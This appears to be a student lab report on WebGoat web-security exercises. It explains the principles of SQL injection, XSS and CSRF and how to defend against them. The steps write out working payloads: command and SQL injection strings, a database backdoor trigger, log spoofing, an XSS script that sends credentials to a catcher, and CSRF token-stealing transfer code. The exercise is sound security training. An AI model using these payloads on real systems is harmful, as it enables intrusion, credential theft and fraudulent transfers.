2018-2019-2 20165209 《网络对抗技术》Exp9: Web安全基础
1 基础问题回答和实验内容
1.1基础问题回答
-
(1)SQL注入攻击原理,如何防御?
- 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
- 防御:
- 对用户的输入进行校验。
- 不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
- 不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
- 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
- 应用的异常信息应该给出尽可能少的提示。
- 采取辅助软件或网站平台来检测sql注入。
-
(2)XSS攻击的原理,如何防御?
- 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
- 防御:
- 特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
- 对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
- 实现Session标记、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
-
(3)CSRF攻击原理,如何防御?
- 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
- 防御:
- 在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
- “双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
- 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
1.2 实验内容
-
Webgoat安装
-
Injection Flaws攻击
- Command Injection
- Numeric SQL Injection
- Log Spoofing
- String SQL Injection
- Database Backdoors
- Blind Numeric SQL Injection
- Blind String SQL Injection
-
XSS攻击——Cross-Site Scripting
- Phishing with XSS
- Stored XSS Attacks
- Reflected XSS Attacks
-
CSRF攻击
- Cross Site Request Forgery(CSRF)
- CSRF Prompt By-Pass
- CSRF Token By-Pass
2 实验步骤
2.1 Webgoat安装
-
输入
java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat,在实验过程中不要关闭。 -
在浏览器中输入
http://localhost:8080/WebGoat
进入WebGoat登录界面 -
输入用户名密码
guest
登录 -
注:由于我登陆之后没有显示左侧的内容,经过看别人的博客得知,因为kali里安装的JDK版本太高原因导致的。将原来的jdk卸载并重新安装jdk1.8,参考kali安装java1.8
-
官网上了Linux 64 版JDK1.8下载不下来,在这里上传了一个可以使用的1.8版JDK 链接 提取码:uznk
-
安装成功之后登录成功。
2.2 Injection Flaws攻击
2.2.1 Command Injection
- 选择 Injection Flaws -> Command Injection
右键页面中复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"
- 点击 view,看到网络端口使用情况和 IP 地址,攻击成功
2.2.2 Numeric SQL Injection
- 选择 Injection Flaws -> Numeric SQL Injection
右键页面中复选框,选择inspect Element审查网页元素对源代码value="101"
进行修改,在城市编号101后面添加or 1=1
- 点击 Go,可以看到攻击成功
2.2.3 Log Spoofing
- 选择 Injection Flaws -> Log Spoofing
- 在User Name中输入
csb%0d%0aLogin Succeeded for username: admin
利用0D%(回车)和%0A(换行)让其在日志中显示两行 - 输入任意密码后点击 Login,成功将用户名追加到日志文件中。
2.2.4 String SQL Injection
- 选择 Injection Flaws -> String SQL Injection,右键页面将password密码框,选择inspect Element审查网页元素对源代码进行修改,将其最大长度限制改为20
- 以用户Neville登录,输入密码
Smith' or '1' = '1
- 攻击成功,得到所有人员列表
2.2.5 Database Backdoors
- 选择 Injection Flaws -> Database Backdoors
- 输入
101
,得到该用户的信息
- 输入注入语句
101; update employee set salary=10000
- 输入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid
设置触发器
2.2.6 Blind Numeric SQL Injection
- 服务端页面返回的信息有两种:帐号有效,账号无效,因此无法简单地查询到帐号的 PIN 数值。但可以利用系统后台在用的查询语句
SELECT * FROM user_data WHERE userid=accountNumber;
如果返回了帐号的信息,页面将提示帐号有效,否则提示无效。 - 输入
101 AND 1=1
页面返回帐号有效
-
输入
101 AND 1=2
第二个条件不成立,页面返回帐号无效 -
输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
页面返回帐号无效,说明PIN<=10000
- 进过多次测试,输入
2364
为正确PIN值
2.2.7 Blind String SQL Injection
- 这次查询的字段是一个字符串而不是数值
- 输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
取得 pin 字段数值的第一个字母,判断其是否比字 母“H”小 - 经过多次测试和页面的返回数据,最终判断出PIN字段的值为
Jill
2.3 XSS攻击——Cross-Site Scripting
2.3.1Phishing with XSS
-
使用XSS和HTML写一个简单的带form的网站,要求填写用户名和密码。
-
编写一个带用户名和密码输入框的表格
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
-
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
-
将两段代码合并后,在 XSS - > Phishing with XSS搜索上面代码,在显示的表单中输入用户名和密码,登录后WebGoat会将输入的信息捕获并反馈给我们。
2.3.2 Stored XSS Attacks
- 常见于论坛等留言,用户留言创建非法的消息内容,输入一段JavaScript脚本,其被保存在数据库中,任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行,可以导致其他用户访问非预期的页面或内容。
- 在XSS - > Stored XSS Attacks页面的title中输入任意字符a,留言板中输入
<script>alert("You've been ttacked!!!");</script>
- 点击下面的a字符,攻击成功。
2.3.3 Reflected XSS Attacks
- XSS反射型攻击,恶意代码并没有保存在目标网站,通过使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件,引诱用户点击,实施攻击。
- 在XSS - > Reflected XSS Attacks页面中输入
<script>alert("You've been attacked!!!");</script>
点击 purse ,页面显示攻击成功。
2.4 CSRF攻击
2.4.1 Cross Site Request Forgery(CSRF)
- 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
- 在 XSS - > Cross Site Request Forgery(CSRF)
页面,查看右下方 Parameters 中的 src 和 menu 值,分别为320和900。 - 在Message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=320&menu=900&transferFunds=5000" width="1" height="1" />
点击 Submit (其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片) - 输入任意Title,提交后在Message List中生成以Title命名的链接。点击链接,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
2.4.2 CSRF Prompt By-Pass
-
在 XSS - > CSRF Prompt By-Pass 页面,查看右下方的Parameters中的src和menu值,我的分别为279和900。
-
输入任意的Title,在message中输入
<iframe src="attack?Screen=279&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=279&menu=900&transferFunds=CONFIRM"> </iframe>
-
点击 Submit 生成以Title命名的链接,点击链接,攻击成功
2.4.3 CSRF Token By-Pass
-
向包含恶意转账请求的新闻组发送电子邮件。要成功完成,需要获取有效的请求令牌。显示转账表单的页面包含有效的请求令牌。转账页面的URL是“攻击”servlet,带有本课的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds=main”。加载此页面,读取令牌并将令牌附加到伪造的请求中,以转移资金。
-
在XSS - >CSRF Token By-Pass
页面查看网页http://local host:8080/WebGoat/attack?Screen=511&menu=900&transferFunds=main
生成的资金转账页面的表单内容。 -
结合token的值构造伪造的URL,附加转账参数4000,通过frame->forme的路径可以读取并保存CSRFToken参数。
<script> var readToken = function(){ var doc = document.getElementById("frame1").contentDocument var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value"); alert(token); var frame2 = document.getElementById("frame2"); frame2.src = "http://127.0.0.1:8080/WebGoat/attack?Screen=511&menu=900&transferFunds=4000&CSRFToken="+token; } </script> <iframe id="frame2" > </iframe> <iframe id="frame1" onload="readToken()" src="http://127.0.0.1:8080/WebGoat/attack?Screen=511&menu=900&transferFunds=main" > </iframe>
-
输入任意的Title,在message中输入上面的代码,点击 Submit 生成以Title命名的链接,点击链接,攻击成功。
实验总结与体会
这个实验过程还是很容易的,但是要理解还是需要时间的。这是最后一个实验了,还是很开心的。在实验过程中不仅体会了攻击技术的强大,也对网络安全有了新的认识。